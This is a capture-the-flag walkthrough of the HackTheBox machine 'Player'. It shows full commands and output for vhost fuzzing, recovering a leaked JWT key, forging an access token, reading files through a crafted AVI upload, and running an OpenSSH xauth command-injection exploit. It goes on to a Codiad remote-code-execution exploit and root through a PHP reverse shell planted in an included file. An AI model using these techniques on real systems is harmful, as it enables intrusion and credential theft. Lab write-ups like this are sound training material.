HackTheBox - Player

13 minute read

Player was a fun 40 point box created by MrR3boot . It started out with heavy vhost enumeration which leads you to some backup file artifacts that expose an access code and passphrase, we then use the code and passphrase to generate a JWT and access an avi file upload application. An avi file exploit is then used to read sensitive files and get SSH credentials for an XAUTH SSH exploit with which you can read local files to get user.

We then read more sensitive files to get credentials for the dev vhost and use the creds in a Codiad exploit which returns a shell as www-data, from there you run pspy and exploit a process running with root privileges to return a shell and finally get root.

User.txt

Nmap


We start the box with a quick TCP nmap scan:

# ports=$(nmap -sT -p- --min-rate=5000 10.10.10.145 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && 
nmap -sV -sC -T4 -p$ports 10.10.10.145

22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 d7:30:db:b9:a0:4c:79:94:78:38:b3:43:a2:50:55:81 (DSA)
|   2048 37:2b:e4:31:ee:a6:49:0d:9f:e7:e6:01:e6:3e:0a:66 (RSA)
|   256 0c:6c:05:ed:ad:f1:75:e8:02:e4:d2:27:3e:3a:19:8f (ECDSA)
|_  256 11:b8:db:f3:cc:29:08:4a:49:ce:bf:91:73:40:a2:80 (ED25519)
80/tcp   open  http    Apache httpd 2.4.7
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: 403 Forbidden
6686/tcp open  ssh     OpenSSH 7.2 (protocol 2.0)


HTTP


Checking out http:// player.htb/ we come across a blank page with a 403 Forbidden error:

Running Gobuster against the domain we can see we get a hit for /launcher:

# gobuster dir -u http://player.htb -w /usr/share/wordlists/dirb/big.txt -t 40 
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/launcher (Status: 301)
/server-status (Status: 403)

Navigating to http://player.htb/launcher takes us to the following page:


Checking the source code you can see the form is making a request to the PHP script dee8dc8a47256c64630d803a4c40786c.php:



Mechanize


I used the Python Mechanize module to see exactly what the form was doing behind the scenes:

>>> import mechanize
>>> br = mechanize.Browser()
>>>
>>> br.open('http://player.htb/launcher/')
<response_seek_wrapper at 0x7fb5da5eed70 whose wrapped object =
<closeable_response at 0x7fb5da5ee8c0 whose fp = <socket._fileobject
object at 0x7fb5daeb53d0>>>
>>>
>>> for form in br.forms():
... print form
...
<GET http://player.htb/launcher/dee8dc8a47256c64630d803a4c40786c.php
application/x-www-form-urlencoded
<TextControl(<None>=)>
<SubmitControl(<None>=Send) (readonly)>>
>>> br.close()

The form is making a GET request to dee8dc8a47256c64630d803a4c40786c.php with a TextControl input field with no defined parameter. Since the message body in a GET request is not exactly semantic to the request I moved on from here and continued my enumeration.


Wfuzz


The next step in my enumeration was using Wfuzz to find any vhosts:

# wfuzz -w /root/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u player.htb -H "Host:FUZZ.player.htb" --hc=403 
...
000019:  C=200     86 L      229 W         5243 Ch        "dev"
000067:  C=200     63 L      180 W         1470 Ch        "staging"
000070:  C=200    259 L      714 W         9513 Ch        "chat"

You can see we have three hits for dev, staging, and chat. I then added each one into the player.htb entry in my /etc/hosts file like so:

127.0.0.1   localhost
127.0.1.1   kali
10.10.10.145  player.htb dev.player.htb staging.player.htb chat.player.htb


dev.player.htb


Checking out http://dev.player.htb you’ll come across a login page:



chat.player.htb


Navigating to http://chat.player.htb leads us to a group chat page for the staff of the organisation:


Besides the number of potential usernames, the main entry in the group chat that caught my attention was the following message:

They mentioned our staging exposing some sensitive files and main domain exposing source code which allowing them to access our product before release. Currently our team working on the fix.

With this in mind I turned my attention to the staging vhost.


staging.player.htb


Checking out http://staging.player.htb you`ll see the following page:


Clicking on the Contact Core Team button leads us to http://staging.player.htb/contact.html. This page stood out as it takes user supplied input in the Email ID and Message fields.

I used the Python terminal and the mechanize module again to list the form parameters:

>>> import mechanize
>>>
>>> br = mechanize.Browser()
>>>
>>> br.open('http://staging.player.htb/contact.html')
<response_seek_wrapper at 0x7fa668562e60 whose wrapped object =
<closeable_response at 0x7fa668562140 whose fp = <socket._fileobject object
at 0x7fa668671750>>>
>>>
>>> for form in br.forms():
... print form
...

<GET http://staging.player.htb/contact.php application/x-www-form-
urlencoded

<TextControl(firstname=)>
<TextareaControl(subject=)>
<SubmitControl(<None>=Submit) (readonly)>>
>>>
>>> br.close()

We can see the form is issuing a GET request to contact.php.


contact.php


When attempting to browse to http://staging.player.htb/contact.php you’ll notice the browser flash some text and then hit us with the 501.php page:

Checking out what’s happening in burp suite when we try to visit the contact.php page we can see some interesting information being rendered before we’re redirected to 501.php:

array(3) {
[0]=>
array(4) {
["file"]=>
string(28) "/var/www/staging/contact.php"
["line"]=>
int(6)
["function"]=>
string(1) "c"
["args"]=>
array(1) {
[0]=>
&string(9) "Cleveland"
}
}
[1]=>
array(4) {
["file"]=>
string(28) "/var/www/staging/contact.php"
["line"]=>
int(3)
["function"]=>
string(1) "b"
["args"]=>
array(1) {
[0]=>
&string(5) "Glenn"
}
}
[2]=>
array(4) {
["file"]=>
string(28) "/var/www/staging/contact.php"
["line"]=>
int(11)
["function"]=>
string(1) "a"
["args"]=>
array(1) {
[0]=>
&string(5) "Peter"
}
}
}
Database connection failed.<html><br />Unknown variable user in
/var/www/backup/service_config fatal error in /var/www/staging/fix.php

We appear to have found the sensitive files being referenced in the message at http:// chat.player.htb.

The main part that caught my eye in the output was the bottom block of text that mentioned the path: /var/www/backup/service_config. I found the fact that /backup/ had it’s own directory in /var/www/ but didn’t have a vhost like /staging/ a bit peculiar.

With this in mind I referred back to one of the http:// chat.player.htb messages about the main domain, it was ‘exposing source code which allowed them to access our product before release’.

I then began to focus on the main domain, http://player.htb/launcher/. The reference to backup in the leaked information potentially indicated that the company was performing backups, or that their text editors may be automatically performing their backups for them:

Various text editors automatically save backups of each file the user chooses to open with file names such as: file.ext~, #file.ext#, ~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old. If the user edits a PHP file in the web root, the backup that is created will not be parsed by the PHP engine upon request, but will instead be returned to the remote attacker unmodified. Thus, the script’s source code is disclosed. - Rapid7


Backups


I downloaded and used the tool bfac which is available on GitHub. Bfac, the ‘Backup File Artifacts Checker’, can be used to find files left during backup processes. Testing different files on the main domain, I eventually got a hit:

# bfac --url http://player.htb/launcher/dee8dc8a47256c64630d803a4c40786c.php
----------------------------------------------------------------------
                 _____ _____ _____ _____
                | __  |   __|  _  |     |
                | __ -|   __|     |   --|
                |_____|__|  |__|__|_____|

           -:::Backup File Artifacts Checker:::-
                     Version: 1.4
  Advanced Backup-File Artifacts Testing for Web-Applications
Author: Mazin Ahmed | <mazin AT mazinahmed DOT net> | @mazen160
----------------------------------------------------------------------


[i] URL: http://player.htb/launcher/dee8dc8a47256c64630d803a4c40786c.php
[$] Discovered: -> {http://player.htb/launcher/dee8dc8a47256c64630d803a4c40786c.php~} (Response-Code: 200 | Content-Length: 742) 

[i] Findings:
http://player.htb/launcher/dee8dc8a47256c64630d803a4c40786c.php~ (200) | (Content-Length: 742)

[i] Finished performing scan

We see it has successfully found the dee8dc8a47256c64630d803a4c40786c.php~ backup file on the main http://player.htb domain.


Code Analysis


Sending a GET request with curl to the file:

# curl -X GET http://player.htb/launcher/dee8dc8a47256c64630d803a4c40786c.php~

We receive the following PHP code in response:

<?php
require 'vendor/autoload.php';

use \Firebase\JWT\JWT;

if(isset($_COOKIE["access"]))
{
        $key = '_S0_R@nd0m_P@ss_';
        $decoded = JWT::decode($_COOKIE["access"], base64_decode(strtr($key, '-_', '+/')), ['HS256']);
        if($decoded->access_code === "0E76658526655756207688271159624026011393")
        {
                header("Location: 7F2xxxxxxxxxxxxx/");
        }
        else
        {
                header("Location: index.html");
        }
}
else
{
        $token_payload = [
          'project' => 'PlayBuff',
          'access_code' => 'C0B137FE2D792459F26FF763CCE44574A5B5AB03'
        ];
        $key = '_S0_R@nd0m_P@ss_';
        $jwt = JWT::encode($token_payload, base64_decode(strtr($key, '-_', '+/')), 'HS256');
        $cookiename = 'access';
        setcookie('access',$jwt, time() + (86400 * 30), "/");
        header("Location: index.html");
}
?>

The code is basically saying if the cookie access uses the key _S0_R@nd0m_P@ss_, is base64 encoded, and the access_code value is equal to 0E76658526655756207688271159624026011393, then redirect us to the secret path 7F2xxxxxxxxxxxxx. Else, it sends us back to the index.html page.

Our access cookie at current will look like the bottom else statement, with access_code equal to C0B137FE2D792459F26FF763CCE44574A5B5AB03, base64 encoded, and using the key _S0_R@nd0m_P@ss_.

In order to get to the secret path we need to create a new JWT (JSON Web Token) with the correct values, add it to our request to http://player.htb/launcher/dee8dc8a47256c64630d803a4c40786c.php and we should get redirected to the secret path.


JWT


JSON Web Tokens are an open, industry standard RFC 7519 method for representing claims securely between two parties. - jwt.io

The site jwt.io can be used to decode, verify, and generate JWT’s. If we intercept a request with burp to http://player.htb/launcher/ we can see the access cookie present in the request headers:


Chucking the cookie into the jwt.io debugger we can see the decoded value:


We can see the access_code for the current cookie corresponds to the bottom one in the final else statement of the PHP code.

Now let’s add the 0E76658526655756207688271159624026011393 access_code, the key, and select the secret base64 encoded box:



Secret Path


Now that we’ve successfully generated a new JWT we need to use it in order for the PHP code to process it, and subsequently send us to the secret path.

First, we need to intercept a request to http://player.htb/launcher/dee8dc8a47256c64630d803a4c40786c.php in burp. You then send the request to repeater with Ctrl+r, add our new token in place of the old access token, click send and we’ll see the following 302 Found response with the secret path included in the Location header:


The secret path is 7F2dcsSdZo6nj3SNMTQ1.


PlayBuff


Checking out http://player.htb/launcher/7F2dcsSdZo6nj3SNMTQ1/ we’re presented with the following page:

It appears to be the new product mentioned earlier in the chat vhost. The application contains a file upload facility so I uploaded a basic PHP web shell to see how the application responded and the file uploaded successfully.

I was then presented with the following message:


Clicking on the Buffed Media link you’ll be taken to the uploads directory where our uploaded file is placed. I noticed that the file was given a random 10 digit number as a name and had an .avi file extension appended:



AVI


AVI stands for Audio Video Interleave, files in this format can hold both video and audio data. I Googled avi file exploit and PayloadsAllTheThings CVE Ffmpeg HLS was one of the top results.

FFmpeg is an open source software used for processing audio and video formats. You can use a malicious HLS playlist inside an AVI video to read arbitrary files. - PayloadsAllTheThings

I found this exploit to work better than the one from PayloadsAllTheThings, the help menu is shown below:

# python3 avi.py -h
usage: AVI+M3U+XBIN ffmpeg exploit generator [-h] filename output_avi

positional arguments:
  filename filename to be read from the server (prefix it with "file://")
  output_avi where to save the avi

optional arguments:
  -h, --help show this help message and exit

The first payload I created was for the /etc/passwd file:

# python3 avi.py file:///etc/passwd passwd.avi

I then uploaded the passwd.avi file to the PlayBuff web application, clicked the Buffed Media button and downloaded and ran the new avi file generated by the application. The result is shown below:


You can see the contents of /etc/passwd, more specifically the telegen user with a UID of 1000 and the home directory path /home/telegen.

I then took the same approach with some of the files I’d encountered earlier on in my enumeration. The /var/www/backup/service_config file contained some valuable information:


You can see a set of credentials for the telegen user. The crednetials are telegen / d-bC|jC!2uepS/w.


SSH


The credentials failed on the http://dev.player.htb login page and on the lower SSH port - 22. They did work on the high SSH port - 6686 - but commands were heavily restricted:

# ssh telegen@player.htb -p 6686
telegen@player.htb's password: d-bC|jC!2uepS/w
Last login: Tue Apr 30 18:40:13 2019 from 192.168.0.104
Environment:
  USER=telegen
  LOGNAME=telegen
  HOME=/home/telegen
  PATH=/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin
  MAIL=/var/mail/telegen
  SHELL=/usr/bin/lshell
  SSH_CLIENT=10.10.14.7 43770 6686
  SSH_CONNECTION=10.10.14.7 43770 10.10.10.145 6686
  SSH_TTY=/dev/pts/0
  TERM=screen
========= PlayBuff ==========
Welcome to Staging Environment

telegen:~$ whoami
*** forbidden command: whoami
telegen:~$ id
*** forbidden command: id
telegen:~$ ls
*** forbidden command: ls
telegen:~$ cd
*** forbidden command: cd
telegen:~$


XAUTH SSH Exploit


After trying and failing to bypass the command restrictions I came across an (Authenticated) xauth Command Injection Python exploit on searchsploit:

# searchsploit OpenSSH 7.2
------------------------------------------------------------------------------------ -----------------------------------
 Exploit Title                                                                      |  Path
                                                                                    | (/usr/share/exploitdb/)
OpenSSH 7.2p1 - (Authenticated) xauth Command Injection                             | exploits/multiple/remote/39569.py

I downloaded the exploit and renamed it to xauth.py:

# searchsploit -m 39569
  Exploit: OpenSSH 7.2p1 - (Authenticated) xauth Command Injection
    URL: https://www.exploit-db.com/exploits/39569
    Path: /usr/share/exploitdb/exploits/multiple/remote/39569.py
File Type: troff or preprocessor input, ASCII text, with very long lines,
with CRLF line terminators

Copied to: /root/39569.py

# mv 39569.py xauth.py

I then ran the script with the following parameters:

# python 39569.py player.htb 6686 telegen 'd-bC|jC!2uepS/w'
INFO:__main__:connecting to: telegen:d-bC|jC!2uepS/w@player.htb:6686
INFO:__main__:connected!
INFO:__main__:
Available commands:
    .info
    .readfile <path>
    .writefile <path> <data>
    .exit .quit
    <any xauth command or type help>

#> .info
DEBUG:__main__:auth_cookie: '\ninfo'
DEBUG:__main__:dummy exec returned: None
INFO:__main__:Authority file:       /home/telegen/.Xauthority
File new:             yes
File locked:          no
Number of entries:    0
Changes honored:      yes
Changes made:         no
Current input:        (stdin):3
Environment:
  USER=telegen
  LOGNAME=telegen
  HOME=/home/telegen
  PATH=/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin
  MAIL=/var/mail/telegen
  SHELL=/usr/bin/lshell
  SSH_CLIENT=10.10.14.29 45440 6686
  SSH_CONNECTION=10.10.14.29 45440 10.10.10.145 6686
  DISPLAY=localhost:10.0


Flag


As we can read and write files with the exploit, I then attempted to read the user flag and was successful:

#> .readfile /home/telegen/user.txt
DEBUG:__main__:auth_cookie: 'xxxx\nsource /home/telegen/user.txt\n'
DEBUG:__main__:dummy exec returned: None
INFO:__main__:30e47a...



Root.txt

Fix.php


Going back to our earlier enumeration via the .avi files, fix.php was one of the files I attempted to read but received no output in the video response.

However, using the .readfile /var/www/staging/fix.php command we’re able to read the file and can see the following credentials commented out:


The credentials are: peter / CQXpm\z)G5D#%S$y=.


dev.player.htb


Peter’s credentials allow you to log into http://dev.player.htb, you’re presented with a fairly bland page. I then clicked on the right side tab and onto the help button:


This sent me to the Codiad wiki page on GitHub:



Codiad


Codiad is an open source, web-based, cloud IDE and code editor with minimal footprint and requirements. - codiad.com

A quick Google search for Codiad exploit and you’ll come across a Codiad-Remote-Code-Execution-Exploit on GitHub. As Peter’s password contained some awkward bash characters, I hard-coded the credentials into the exploit script:


I used tmux to split my terminal twice horizontally, followed the author’s instructions and the exploit ran first time no problem and I received a shell as www-data:



www-data to root


After some basic manual enumeration I decided to run pspy. Pspy is a tool available on GitHub that allows you to monitor Linux processes without root permissions.

The goal being that if there’s a vulnerable process running with elevated privileges we can try and exploit said process, in an attempt to gain the privileges of the elevated user to whom that process belongs.


Pspy Process Analysis


After downloading the pspy32 binary from GitHub I uploaded it to the /tmp directory with wget. After giving the binary executable permissions I ran it and observed the output.

Pspy does a great job at labelling the UID, time, and date of each process it picks up. You can see below that a PHP script is running with root privileges - UID=0:


Letting pspy continue to run you’ll see the script is executing roughly every 30 seconds.


Code Analysis


The contents of /var/lib/playbuff/buff.php is shown below:

<?php
include("/var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php");
class playBuff
{
        public $logFile="/var/log/playbuff/logs.txt";
        public $logData="Updated";

        public function __wakeup()
        {
                file_put_contents(__DIR__."/".$this->logFile,$this->logData);
        }
}
$buff = new playBuff();
$serialbuff = serialize($buff);
$data = file_get_contents("/var/lib/playbuff/merge.log");
if(unserialize($data))
{
        $update = file_get_contents("/var/lib/playbuff/logs.txt");
        $query = mysqli_query($conn, "update stats set status='$update' where id=1");
        if($query)
        {
                echo 'Update Success with serialized logs!';
        }
}
else
{
        file_put_contents("/var/lib/playbuff/merge.log","no issues yet");
        $update = file_get_contents("/var/lib/playbuff/logs.txt");
        $query = mysqli_query($conn, "update stats set status='$update' where id=1");
        if($query)
        {
                echo 'Update Success!';
        }
}
?>

Right away you can see the code is using the PHP include() statement on the /var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php file. As we’re www-data we have read and write permissions on that specific file:


The plan of action here is to replace the contents of the file being called via include() with a PHP reverse shell. The /var/lib/playbuff/buff.php script will then be executed again as root, our PHP reverse shell will be included and subsequently run with root permissions sending us a reverse shell.


Root Shell


In order to take advantage of this, I first input my IP and desired port number (443) into pentestmonkey’s php-reverse-shell. After uploading the shell with wget I then overwrote the contents of the included file with that of the PHP shell:

$ cat shell.php > /var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php

Now that /var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php contains the PHP reverse shell code, all that needed to be done was setting up a netcat listener on the desired port – 443 – and waiting for the process to execute again so we receive a shell as root.


Flag


After a very short wait a root shell is returned and you can simply cat the root flag: